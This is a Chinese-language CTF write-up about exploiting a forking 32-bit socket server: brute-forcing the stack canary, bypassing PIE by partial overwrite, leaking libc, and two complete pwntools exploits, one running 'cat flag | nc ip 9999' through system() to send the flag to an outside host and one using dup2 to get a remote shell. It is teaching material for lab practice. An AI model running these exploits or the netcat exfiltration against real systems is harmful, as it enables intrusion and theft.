前言 这篇文章记录如何使用partial overwrite
绕过pie
和使用dup2
重定向输入输出流到socket
。
题目 简单描述下题目的环境,首先服务端使用fork
进程来为每个用户建立socket
来进行通信,主要逻辑如下:
其中在read_msg
使用socket的recv
接收用户输入,同时漏洞也产生在这。
由于是fork
,所以fork得到进程有父进程
一样的存储数据,如果开启了canary
,那么每次socket连接得到的进程的canary cookie
都是跟父进程一样的,这也是我们爆破的前提
。
接下来checksec
binary,查看程序开启的保护,得到:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
如上,程序把基本的保护都开了。
在简单的栈溢出中,我们的直接目的就是覆盖函数的返回地址从而达到控制程序执行流的目的,而canary防护就是在返回地址的前面
,加上一串随机的字符,每次程序ret
时,对这串字符进行检查,如果这个值跟系统记录的值有所差异,系统就会终止程序执行,达到保护的作用。用gdb调试时可以发现:
如图,1是canary cookie的位置,而2是要覆盖的返回地址的位置。从图中可以知道要覆盖到2,必然会先覆盖1,所以,如果我们无法得到1的值,那么就算覆盖了2位置,程序在返回时检查cookie
也会失败,然后停止执行,最终exp失败。
前面说过,fork出来的进程内存数据是跟父进程一样的,那么对于canary
我们可以通过爆破
的方式找到,并且由于cookie(通常为0xXXXXXX00)的最低一个字节
为0
,我们其实只要爆破3个字节就行。
然后再解释一下ASLR
跟PIE
的关系与区别:
ASLR ASLR有三级,分别为:
0: 关闭ASLR,没有随机化,堆栈基地址每次都相同,而且libc.so每次的地址也相同
1: 普通的ASLR。mmap基地址、栈(stack)基地址、.so加载基地址都将被随机化,但是堆没用随机化
2: 增强的ASLR,增加了堆随机化
PIE 而PIE是对代码段、数据段
进行地址随机化,但是最终决定是否随机化的靠看ASLR
,如果ASLR是关闭的,那么就算开启了PIE也不会
进行地址随机化。
开启了PIE后,在IDA里看到的就是偏移地址
,真实地址需要code base address + offset
得到。
对于pie
的绕过目前有partial overwrite
的方法,因为code base address
的低12bit
都是0
,如图:
所以我们可以通过控制最低一个字节
来控制程序的执行流,然后找到可以作为参考的点,进行爆破
判断,原理上类似于爆破canary cookie。
在这道题中,在原来本该返回的地址下方有一个给用户(客户端)
send
消息的函数,那么我们就可以利用这个地址作为我们爆破的点。我们以服务端是否有
消息发送
过来作为爆破成功的依据。
我们知道
send_client
函数(0x00001177)的最低一个字节是
\x77
,因为代码段基地址在上面中我们可以看到是
0x56561000
,所以不管怎么加,它的真实地址的
最低一个字节
都是
\x77
。当我们猜中它的地址时它就会发送一些奇怪的东西,因为它调用时栈还是乱七八槽的,但确实能得到数据,如我这里得到的
\xb0\x1d\x1b
,那我每次都以这个为准。
最终exp可以写成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 from pwn import *context(log_level = 'debug' , arch = 'i386' , os = 'linux' ) ip = '127.0.0.1' def fuzz () : canary = "\x00" for i in range(3 ): for j in range(1 , 256 ): if j == 10 : continue p = remote(ip, 10007 ) print p.recvline() temp = canary + chr(j) payload = 'A' * 4 * 4 * 4 + temp p.sendline(payload) try : print p.recvuntil('See you again!\n' ) canary = temp break except : pass print "[***] found canary : " + canary canary = 0x1b617500 def fuzz_send_client () : code_base = "\x77" ok = False for i in range(3 ): for j in range(1 , 256 ): if j == 10 : continue p = remote(ip, 10007 ) print p.recvline() temp = code_base + chr(j) payload = 'a' * 64 + p32(canary) + 'b' * 12 + temp if j == 145 : pause() p.sendline(payload) p.sendline(payload) try : print p.recvuntil('\xb0\x1d\x1b' ) code_base = temp ok = True break except : pass if not ok: print "[!!!] Oops!!!" exit(-1 ) code_base = hex(u32(code_base) - 0x1177 ) print "[***] found code_base : " + code_base code_base = 0x5655e000 pelf = ELF('./pie' ) libc = ELF('./libc.so.local' ) p = remote(ip, 10007 ) p.recvline() main_addr = code_base + 0x00000F3C send_addr = code_base + 0x00000E8C libc_start_main = code_base + pelf.got["__libc_start_main" ] payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(send_addr) + p32(main_addr) + p32(4 ) + p32(libc_start_main) + p32(16 ) pause() p.sendline(payload) libc_start_main = u32(p.recv()[:4 ]) p.close() log.debug("libc_start_main: " + hex(libc_start_main)) libc_base_addr = libc_start_main - libc.symbols["__libc_start_main" ] log.debug("libc_base_addr: " + hex(libc_base_addr)) system_addr = libc_base_addr + libc.symbols["system" ] log.debug("system_addr: " + hex(system_addr)) bss_addr = code_base + 0x00003084 recv_addr = code_base + 0x00000DDA shellcode = "cat flag | nc ip 9999" log.debug("ready to write bss..." ) pause() p = remote(ip, 10007 ) p.recvline() payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(recv_addr) + p32(system_addr) + p32(4 ) + p32(bss_addr) + p32(len(shellcode)) + p32(0 ) p.sendline(payload) log.debug("ready to write shelloce..." ) pause() p.sendline(shellcode) p.close() p.interactive()
fuzz
和
fuzz_send_client
分别爆破canary cookie和程序基地址,其实他们都一种手法。
这里还需要特别说明的是exp在:
1 2 3 4 5 payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(recv_addr) + p32(system_addr) + p32(4 ) + p32(bss_addr) + p32(len(shellcode)) + p32(0 ) p.sendline(payload) log.debug("ready to write shelloce..." ) p.sendline(shellcode)
就已经攻击成功,一开始我还有些疑惑,可以看到那些注释了的代码才是我原本的思路,我还需要return到system调用shellcode。
1 2 payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(system_addr) + p32(system_addr) + p32(bss_addr) p.sendline(payload)
但是事实上,在
recv_addr
执行完跳到
system_addr
的时候栈内的数据刚好满足
system
调用shellcode。而且按照原来的思路:先把shellcode写到
bss段
,然后再起一个连接执行
system(bss_shellcode)
。但在调试过程中发现,
bss段
在每个连接中都会被清
0
,并不能保存上一个进程写入的
shellcode
。
在
p.sendline(shellcode)
执行后的程序栈如下:
我单独对system
调用写了一个简单的程序,对他调试到system
处的情况:
可以看到在进入system
时的栈情况都相同,栈顶为返回地址,接下去是参数。
解法二 上面之所以采用反弹的方式是因为socket
不能作为程序的输入输出流,因为主程序运行在服务器上,所以即使你/bin/sh
成功,你也收不到shell,只会在服务器端开启一个shell。如果我们能够重定向输入输出流到socket,那么我们就能拿到一个shell
。
在Linux中有一个dup2
的程序,其官方解释如下:
1 2 3 4 5 6 7 8 9 10 dup, dup2, dup3 - duplicate a file descriptor The dup() system call creates a copy of the file descriptor oldfd, using the lowest-numbered unused file descriptor for the new descriptor. The dup2() system call performs the same task as dup(), but instead of using the lowest-numbered unused file descriptor, it uses the file descriptor number specified in newfd. If the file descriptor newfd was previously open, it is silently closed before being reused.
它的作用就是重定向
一个文件描述符,Linux的理念就是一切皆文件,输入输出也一样。
1 2 3 0: 进程的标准输入相关联 1: 进程的标准输出相关联 2: 进程的标准错误输出相关联
而socket的文件描述符在此环境中为4
。那么我们就可以使用:
来把输入输出定向到socket上。
因为dup2只对当前进程有效,不能说我先用两个连接(进程)来启动dup2,之后就直接调system。我们必须在一次连接中完成重定向输入输出和调用system。那么我们怎么构造payload呢?一般我们都是return一次,如:
1 2 # 执行完recv,就跳到system,但不能再跳了 payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(recv_addr) + p32(system_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)
这里我们使用一个gadget
:pop pop ret
。因为我们dup2的参数有两个,所以我们要pop两次才能维持栈平衡
,不影响下一个调用。这里的gadget可以用ROPgadget
查找。
最终的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *context(log_level = 'debug' , arch = 'i386' , os = 'linux' ) ip = '127.0.0.1' canary = 0x1b617500 code_base = 0x5655e000 pelf = ELF('./pie' ) libc = ELF('./libc.so.local' ) p = remote(ip, 10007 ) p.recvline() main_addr = code_base + 0x00000F3C send_addr = code_base + 0x00000E8C libc_start_main = code_base + pelf.got["__libc_start_main" ] payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(send_addr) + p32(main_addr) + p32(4 ) + p32(libc_start_main) + p32(16 ) pause() p.sendline(payload) libc_start_main = u32(p.recv()[:4 ]) p.close() log.debug("libc_start_main: " + hex(libc_start_main)) libc_base_addr = libc_start_main - libc.symbols["__libc_start_main" ] log.debug("libc_base_addr: " + hex(libc_base_addr)) system_addr = libc_base_addr + libc.symbols["system" ] log.debug("system_addr: " + hex(system_addr)) binsh_addr = libc_base_addr + next(libc.search('/bin/sh' )) log.debug("binsh_addr: " + hex(binsh_addr)) dup2_adddr = libc_base_addr + libc.symbols["dup2" ] log.debug("dup2_adddr: " + hex(dup2_adddr)) ppr_addr = code_base + 0x0000122A log.debug("use dup2 to call system sh..." ) pause() p = remote(ip, 10007 ) p.recvline() padding = 'a' * 64 + p32(canary) + 'b' * 12 payload = padding + p32(dup2_adddr) + p32(ppr_addr) + p32(4 ) + p32(1 ) + p32(dup2_adddr) + p32(ppr_addr) + p32(4 ) + p32(0 ) payload += p32(system_addr) + p32(0 ) + p32(binsh_addr) p.sendline(payload) p.interactive()
参考链接